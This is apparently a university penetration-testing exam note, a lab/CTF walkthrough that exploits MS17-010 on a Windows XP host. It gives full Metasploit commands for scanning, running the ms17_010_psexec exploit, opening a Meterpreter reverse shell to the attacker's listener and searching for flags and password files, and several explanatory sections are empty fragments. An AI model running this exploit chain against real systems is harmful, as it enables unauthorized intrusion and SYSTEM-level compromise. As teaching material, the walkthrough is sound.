IHU Cybersecurity Exam Notes

Source: Juni_2026_Exams/Penetration_Testing/solutions/ms17-010-windows-xp-successful-exploitation.md

MS17-010 Windows XP Successful Exploitation Walkthrough

Scope and Goal

This walkthrough documents a successful exploitation path from network enumeration to a SYSTEM-level Meterpreter session during the authorized university CTF/lab exercise.

Use this only as an exam-study reference inside the allowed lab scope.

For the broader live-lab handoff and raw terminal evidence across all targets, see live-lab-evidence-handoff-and-target-playbooks.md.

Target:

IP: 192.168.2.163
Hostname: LUCIANO-4A69E49
OS: Windows XP SP3, x86
Primary vulnerable service: SMB on TCP/445
Confirmed vulnerability: MS17-010
Exploit used: exploit/windows/smb/ms17_010_psexec
Result: Meterpreter session as NT AUTHORITY\SYSTEM

Why This Target Was Interesting

The first important observation was that the host exposed classic Windows file sharing and remote administration ports:

135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server

This combination matters in a CTF because:

stronger first attack surface.

The detailed Nmap scan confirmed Windows XP:

OS: Windows XP (Windows 2000 LAN Manager)
Computer name: luciano-4a69e49
NetBIOS computer name: LUCIANO-4A69E49
Workgroup: WORKGROUP
SMB2 negotiation failed
message_signing: disabled

Why this matters:

Reconnaissance Commands

Run a targeted scan once the host is discovered:

nmap -Pn -sC -sV -p 135,139,445,3389 192.168.2.163

Use SMB vulnerability scripts:

nmap -Pn --script smb-vuln* -p 139,445 192.168.2.163

Optional SMB enumeration:

enum4linux-ng 192.168.2.163
smbclient -L //192.168.2.163/ -N

What we are proving:

MS17-010 Vulnerability Check

Inside Metasploit:

msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.2.163
run

Observed result:

[+] 192.168.2.163:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.1 x86 (32-bit)
[*] 192.168.2.163:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Why this matters:

Exploitation With Metasploit

Use the psexec-style MS17-010 module:

use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.2.163
set RPORT 445
set LHOST 192.168.2.32
set LPORT 4444
set PAYLOAD windows/meterpreter/reverse_tcp
check
run

Why these settings matter:

Setting Purpose
RHOSTS The victim/target IP address.
RPORT SMB port, normally 445.
LHOST Kali/VPN/listening IP that receives the reverse shell.
LPORT Local listener port on Kali.
PAYLOAD Code delivered after exploitation; here, Meterpreter reverse TCP.

In this lab, Kali was on:

192.168.2.32

So LHOST had to be:

set LHOST 192.168.2.32

The module check confirmed vulnerability:

[+] 192.168.2.163:445 - The target is vulnerable.

Successful exploitation output:

[+] 192.168.2.163:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.2.163:445 - Uploading payload... PiUdxTeM.exe
[*] 192.168.2.163:445 - Created \PiUdxTeM.exe...
[+] 192.168.2.163:445 - Service started successfully...
[*] 192.168.2.163:445 - Deleting \PiUdxTeM.exe...
[*] Sending stage (177734 bytes) to 192.168.2.163
[*] Meterpreter session 1 opened (192.168.2.32:4444 -> 192.168.2.163:2312)

What this proves:

Post-Exploitation Proof

After the session opened:

sysinfo
getuid
pwd
ipconfig

Observed evidence:

Computer        : LUCIANO-4A69E49
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

Privilege proof:

Server username: NT AUTHORITY\SYSTEM

Working directory:

C:\WINDOWS\system32

Network proof:

IPv4 Address : 192.168.2.163
IPv4 Netmask : 255.255.255.0

Why this is enough for an exam answer:

Searching for Flags and Evidence

Initial Meterpreter searches:

search -f *flag*
search -f *.txt
search -f *proof*
search -f *user*

Observed *flag* results:

c:\WINDOWS\pchealth\helpctr\binaries\notiflag.exe
c:\WINDOWS\system32\dllcache\notiflag.exe
c:\WINDOWS\system32\oobe\images\wpaflag.jpg

Interpretation:

Useful next places on Windows XP:

cd C:\\
ls
cd "C:\\Documents and Settings"
ls
cd "C:\\Documents and Settings\\Administrator\\Desktop"
ls
cd "C:\\Documents and Settings\\vm\\Desktop"
ls

From a Windows shell:

shell
whoami
hostname
dir C:\ /s /b | findstr /i flag
dir C:\ /s /b | findstr /i proof
dir C:\ /s /b | findstr /i user
dir C:\ /s /b | findstr /i password
exit

Why switch to shell sometimes:

What To Write In The Exam

Use this structure:

Target 192.168.2.163 exposed SMB on TCP/445 and was identified as Windows XP
SP3 x86. Because Windows XP SMB is a known MS17-010 candidate, I validated
the finding with Metasploit's smb_ms17_010 scanner. The scanner reported the
host as likely vulnerable to MS17-010 and identified Windows 5.1 x86.

I then used exploit/windows/smb/ms17_010_psexec with RHOSTS=192.168.2.163,
RPORT=445, LHOST=192.168.2.32, and payload
windows/meterpreter/reverse_tcp. The exploit opened Meterpreter session 1.
Post-exploitation commands confirmed LUCIANO-4A69E49, Windows XP SP3 x86,
and NT AUTHORITY\SYSTEM privileges.

Evidence lines to include:

Host is likely VULNERABLE to MS17-010 - Windows 5.1 x86 (32-bit)
Meterpreter session 1 opened
Computer: LUCIANO-4A69E49
OS: Windows XP (5.1 Build 2600, Service Pack 3)
Server username: NT AUTHORITY\SYSTEM
IPv4 Address: 192.168.2.163

Troubleshooting

If the exploit fails:

show options
check
set PAYLOAD windows/shell/reverse_tcp
run

If no callback arrives:

If Meterpreter is unstable:

set PAYLOAD windows/shell/reverse_tcp
run

If you need to list sessions:

sessions -l
sessions -i 1

Key Lessons

and ipconfig.

contents.

final exam write-up much easier.